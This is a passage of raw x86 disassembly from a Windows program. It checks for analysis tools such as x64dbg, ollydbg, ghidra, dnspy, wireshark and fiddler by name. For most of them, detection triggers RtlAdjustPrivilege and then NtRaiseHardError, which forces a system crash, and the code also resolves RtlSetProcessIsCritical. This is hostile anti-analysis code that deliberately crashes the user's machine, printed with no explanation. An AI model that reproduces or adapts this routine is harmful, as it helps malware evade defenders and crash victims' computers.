lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x2ac]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.poopengine
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x2c4]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.process_list
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x2dc]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push 0x63fce4
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x2f4]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.dbgclr
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x30c]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.windbg
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x324]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.ghidra
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x33c]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.wpe_pro
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x354]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.system_explorer
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x36c]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.mitmproxy
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x384]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.proxifier
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x39c]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.wireshark
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x3b4]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.fiddler
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x3cc]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.httpdebug
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
mov ecx, esp
push str.httpanalyzer
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.httpanalyzer
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
mov ecx, esp
push str.dnspy
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.dnspy
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x454109
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454062
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454109
sub esp, 0x18
mov esi, esp
mov ecx, esi
call fcn.00464dc0
push 7
push str.charles
mov ecx, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 7
push str.charles
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454109
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454109
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x4541de
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45413d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x4541de
sub esp, 0x18
mov ecx, esp
push 3
movups xmmword [ecx], xmm0
push 0x63fd1c
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 3
push 0x63fd1c
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4541de
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4541de
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x4542b3
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454212
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x4542b3
sub esp, 0x18
mov ecx, esp
push 7
movups xmmword [ecx], xmm0
push str.ollydbg
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 7
push str.ollydbg
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4542b3
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4542b3
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x454388
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4542e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454388
sub esp, 0x18
mov ecx, esp
push 0xc
movups xmmword [ecx], xmm0
push str.X64netdumper
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 0xc
push str.X64netdumper
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454388
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454388
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x454446
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4543bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454446
sub esp, 0x18
lea eax, [ebp - 0x54]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push 0xa
push str.megadumper
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454446
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454446
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x454515
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454474
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454515
sub esp, 0x18
mov ecx, esp
push 0x16
movups xmmword [ecx], xmm0
push str.simpleassemblyexplorer
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 0x16
push str.simpleassemblyexplorer
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454515
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454515
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0x10
jb 0x4545ea
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454549
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x4545ea
sub esp, 0x18
mov ecx, esp
push 8
movups xmmword [ecx], xmm0
push str.graywolf
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 8
push str.graywolf
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4545ea
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4545ea
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x100]
cmp ecx, 0x10
jb 0x4546bf
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45461e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x4546bf
sub esp, 0x18
mov ecx, esp
push 0xa
movups xmmword [ecx], xmm0
push str.scyllaHide
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 0xa
push str.scyllaHide
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4546bf
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4546bf
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x118]
cmp ecx, 0x10
jb 0x454794
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4546f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454794
sub esp, 0x18
mov ecx, esp
push 9
movups xmmword [ecx], xmm0
push str.titanHide
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 9
push str.titanHide
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454794
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454794
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x454869
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4547c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454869
sub esp, 0x18
mov ecx, esp
push 8
movups xmmword [ecx], xmm0
push str.strongod
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 8
push str.strongod
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454869
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454869
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x148]
cmp ecx, 0x10
jb 0x45493e
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45489d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x45493e
sub esp, 0x18
mov ecx, esp
push 7
movups xmmword [ecx], xmm0
push str.x64_dbg
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 7
push str.x64_dbg
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x45493e
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x45493e
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x454a13
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454972
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454a13
sub esp, 0x18
mov ecx, esp
push 7
movups xmmword [ecx], xmm0
push str.x32_dbg
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 7
push str.x32_dbg
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454a13
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454a13
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x454ae8
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454a47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454ae8
sub esp, 0x18
mov ecx, esp
push 6
movups xmmword [ecx], xmm0
push str.x64dbg
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 6
push str.x64dbg
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454ae8
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454ae8
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x454bbd
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454b1c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454bbd
sub esp, 0x18
mov ecx, esp
push 7
movups xmmword [ecx], xmm0
push str.sharpod
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 7
push str.sharpod
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x454bbd
call fcn.00452190
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x454bbd
push 0
push 0
push 1
call eax
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x454c92
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454bf1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454f9f
push ecx
push edx
call fcn.005c6577
add esp, 8
jmp 0x454c92
sub esp, 0x18
mov ecx, esp
push 6
movups xmmword [ecx], xmm0
push str.x32dbg
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00462a70
mov ecx, 0x109cde0
call fcn.0044ef40
push 6
push str.x32dbg
mov ecx, 0x109cd70
call fcn.004604c0
lea eax, [ebp - 0x11]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
push 0x63fe14
